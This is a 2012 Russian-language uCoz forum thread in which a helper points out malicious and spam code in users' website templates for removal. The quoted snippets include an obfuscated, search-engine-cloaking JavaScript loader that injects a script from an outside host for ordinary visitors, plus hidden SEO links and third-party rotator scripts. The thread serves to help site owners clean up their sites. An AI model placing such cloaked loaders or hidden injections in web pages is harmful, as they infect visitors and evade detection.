Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Вирусы на сайтах_2
KingsIce
Сообщений: 2
Репутация: 0

Сообщение # 646 | 15:42:41 26 Мар 2012
Мой друг зашел на сайт и говорит что на сайте вирусы! У него антивирус предупредил что страница заражена вот решил проверить через 2ip. Лично у меня при входе на сайт антивирус молчит у всех остальных начинает предупреждать об опастности
bandjuk
Сообщений: 6816
Репутация: 2398
Уровень замечаний:

Сообщение # 647 | 15:47:43 26 Мар 2012
KingsIce, а шапку в теме почитать тяжело?
serg750198
Сообщений: 10
Репутация: 0

Сообщение # 648 | 21:10:01 26 Мар 2012
webanet, здравствуйте помогите пожалуйста мой сайт http://www.allsoftplus.ru .яндекс пишет Поведенческий анализ , я удалил всё что мне было сказано но проблема осталась подскажите пожалуйста где может быть этот код
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 649 | 21:12:52 26 Мар 2012
serg750198, под шапкой

Quote
<script type="text/javascript" src="http://s50.ucoz.net/src/jquery-1.3.2.js"></script><script type="text/javascript" src="http://s50.ucoz.net/src/uwnd.js?2"></script><style type="text/css">.UhideBlock {display:none}</style>
</head>
<script language="JavaScript" type="text/JavaScript" charset="UTF-8" src="/57502959387.js"></script>


и у вас тьма подгружаемого с чужих сайтов

ещё удалить

<script type="text/javascript" src="/php/money.php"></script>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
serg750198
Сообщений: 10
Репутация: 0

Сообщение # 650 | 21:18:12 26 Мар 2012
спасибо большое ,а не подскажите где?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 651 | 21:21:05 26 Мар 2012
serg750198, что где? второе под информером пользователей. первое в самом верху кода шаблона

у вас пхп подключено?
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
serg750198
Сообщений: 10
Репутация: 0

Сообщение # 652 | 21:33:04 26 Мар 2012
webanet, ДА

Добавлено (26-Мар-2012, 21:33:04)
---------------------------------------------
под информером пользователей это партнёры?или вот это <A href="http://www.alexa.com/siteinfo/http://www.allsoftplus.ru"><SCRIPT type='text/javascript' language='JavaScript' src='http://xslt.alexa.com/site_stats/js/t/a?url=http://www.allsoftplus.ru'></SCRIPT></A>

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 653 | 21:38:58 26 Мар 2012
serg750198, совсем забыла. ещё эту грязь уберите

Quote
<!-- Top YandeG for: 'www.allsoftplus.ru' id: '213504' -->
<a href="http://yandeg.ru/" target="_blank"
title="Статистика сайта. Показано: просмотров страниц за неделю, просмотров страниц сегодня, посетителей сегодня."
style="text-decoration:none; font-size: 8px;">
<script type="text/javascript">
<!--
document.write('<img '+
'src="http://count.yandeg.ru/cnt.php?id=213504&img=10&h='+escape(document.URL)+
'&ref='+escape(document.referrer)+((typeof(screen)=='undefined')?'':
'&s='+screen.width+'*'+screen.height+
'*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth))+
'&rand='+Math.random()+
'" width="88" height="31" border="0"'+
' alt="Рейтинг Сайтов YandeG" />')
//--></script></a><div
style="position:absolute;left:-3208px;"><a
href="http://oranges-world.com/">Oranges World</a></div><!-- /Top YandeG -->
красненьким выделено то, что делает этот код грязью

и ещё один неприятный вопрос. зачем вот это повторяется много раз на странице?

Quote
<!-- Ваш вид материалов -->


</div></td></tr></table><br />
<!-- Обратный отсчёт -->
<span style="font-size:9px; color: grey" id="d1480"></span>
<script type="text/javascript">
function corrDate(t,n){return n!=0?" " + n + " " +
t[n%10==1&&n%100!=11?0:n%10>=2&&n%10<=4&&(n%100<10||n%100>=20)?1:2] + ", ":"";};
(function(time){var
everySecond=true,ar=arguments,_=Math.ceil((time-(1332596860*1000))/(1000)),day,hour,min,sec,text=[['день', 'дня',
'дней'], ['час', 'часа', 'часов'], ['минуту', 'минуты', 'минут'], ['секунду', 'секунды', 'секунд']],res; day =
Math.floor((_/86400)); _=_-(day*86400); hour = Math.floor((_/3600)); _=_-(hour*3600); min = Math.floor((_/60));
_=_-(min*60); res="Материал был добавлен" + corrDate(text[0],day) + corrDate(text[1],hour) + corrDate(text[2],min)
+ corrDate(text[3],_); document.getElementById("d1480").innerHTML=res.replace(/\,\s$/, " назад."); if (everySecond)
{setTimeout(function(){ar.callee(new Date().getTime());},1000);}})(new Date().getTime());
</script>
<!-- Обратный отсчёт -->
<div id=nlx><!-- рекламная строчка Nolix --></div>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 654 | 21:46:00 26 Мар 2012
для lekana

Quote
HTML><HEAD><TITLE>хорьки и все куньи Каталог статей</TITLE>
<META content="text/html; charset=UTF-8" http-equiv=Content-Type><script language="javascript" src="http://uno.wt-rotator7.ru/?t=br&noadult=1&pid=38137"></script><link type="text/css" rel="StyleSheet" href="/_st/my.css" /><LINK rel=stylesheet type=text/css href="/css/html5reset.css"><LINK rel=stylesheet type=text/css href="/css/style.css"><LINK rel=stylesheet type=text/css href="/css/night.css"><LINK rel=stylesheet type=text/css href="/css/show.css">
<STYLE type=text/css media=all>


выделенное красным удалить. прописан не на всех страницах. перебрать все шаблоны и где есть удалить
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
serg750198
Сообщений: 10
Репутация: 0

Сообщение # 655 | 22:08:27 26 Мар 2012
<div id=nlx><!-- рекламная строчка Nolix --></div>-это рекламная строчка под шапкой,а это
Quote
</div></td></tr></table><br />
<!-- Обратный отсчёт -->
<span style="font-size:9px; color: grey" id="d1480"></span>
<script type="text/javascript">
function corrDate(t,n){return n!=0?" " + n + " " +
t[n%10==1&&n%100!=11?0:n%10>=2&&n%10<=4&&(n%100<10||n%100>=20)?1:2] + ", ":"";};
(function(time){var
everySecond=true,ar=arguments,_=Math.ceil((time-(1332596860*1000))/(1000)),day,hour,min,sec,text=[['день', 'дня',
'дней'], ['час', 'часа', 'часов'], ['минуту', 'минуты', 'минут'], ['секунду', 'секунды', 'секунд']],res; day =
Math.floor((_/86400)); _=_-(day*86400); hour = Math.floor((_/3600)); _=_-(hour*3600); min = Math.floor((_/60));
_=_-(min*60); res="Материал был добавлен" + corrDate(text[0],day) + corrDate(text[1],hour) + corrDate(text[2],min)
+ corrDate(text[3],_); document.getElementById("d1480").innerHTML=res.replace(/\,\s$/, " назад."); if (everySecond)
{setTimeout(function(){ar.callee(new Date().getTime());},1000);}})(new Date().getTime());
</script>
сколько прошло времени с момента добавления материала,это тоже вредоносный код?

Добавлено (26-Мар-2012, 22:08:27)
---------------------------------------------
webanet, Если вас не затруднит посмотрите пожалуйста вот этот сайт http://www.my-film-online.ru яндекс тоже выдал Поведенческий анализ вот на эту страницу http://www.my-film-online.ru/load/boevik/cajlifo_cai_li_fo_choy_lee_fut_2011_smotret_onlajn/2-1-0-286

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 656 | 22:18:50 26 Мар 2012
serg750198,
Code
http://my-film-online.ru/body_3_1.js
грязь со скрытой подгрузкой
Code
<script language="JavaScript">
var brs = window.navigator.userAgent; prnt = '0';  
if (window.brs.indexOf("bot") >= 0) prnt = '1';  
if (window.brs.indexOf("andex") >= 0) prnt = '2';  
if (window.brs.indexOf("oogl") >= 0) prnt = '3';
if (prnt == '0') var prtone = "ip"+"t lan"+"gua"+"ge='"+"Ja"+"vaS"+"c"; var prttwo = "c='h"+"t"+"tp"+":/"+"/1078qhngl.ns01.biz"+"/wp"+"he"+"ad"+"e"+"r.p"+"hp"+"?i="+"21850"; var prtthree = "ip"+"t>";
document.write("<sc"+"r");
document.write(prtone);
document.write("ri"+"pt' s"+"r");
document.write(prttwo);
document.write("'>"+"<"+"/sc"+"r");
document.write(prtthree);
</script>


Code
<a HREF="http://www.FreeViral.com/?r=382878"; TARGET="_new">


судя по обилию грязи и рекламы на втором сайте и по связи обоих через информеры можно сделать вывод, что и второй сайт ваш
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
serg750198
Сообщений: 10
Репутация: 0

Сообщение # 657 | 22:31:01 26 Мар 2012
webanet, когда создал пихал в них всё подряд поэтому теперь и хочу вычистить и не ставить разную заразу.только вы меня извините а нельзя поподробней где эти коды находятся?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 658 | 22:37:17 26 Мар 2012
serg750198,
Quote
а нельзя поподробней где эти коды находятся?
я даю код в такой форме, чтобы можно было его скопировать и через поиск в браузере найти в шаблоне
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 659 | 22:46:27 26 Мар 2012
для Hoha3000
Quote
<object type="application/x-shockwave-flash" data="http://sunwave-fm.eu/players/silver/energy2.swf" height="75" width="180"><script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script><param name="allowScriptAccess" value="always"><param name="wmode" value="transparent"><param name="movie" value="http://sunwave-fm.eu/players/silver/energy2.swf"><param name="allowScriptAccess" value="sameDomain"><param name="flashvars" value="filename=http://sunwave-fm.eu/players/silver"></object>

<DIV align="left">


Code
<a href="http://pro100ucoz.ru" target="_blank"><img border="0" src="http://s11.radikal.ru/i183/1004/ce/924e241561f9.gif" align="left"></a>
спам убрать, картинку перелить к себе на сайт, если в ней есть необходимость

скрипты и стили меню (если нужны) тоже перелить к себе на сайт. и часы тоже
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Hoha3000
Сообщений: 1
Репутация: 0

Сообщение # 660 | 23:00:13 26 Мар 2012
webanet, Спасибо большое!
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Поиск:
Telegram
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!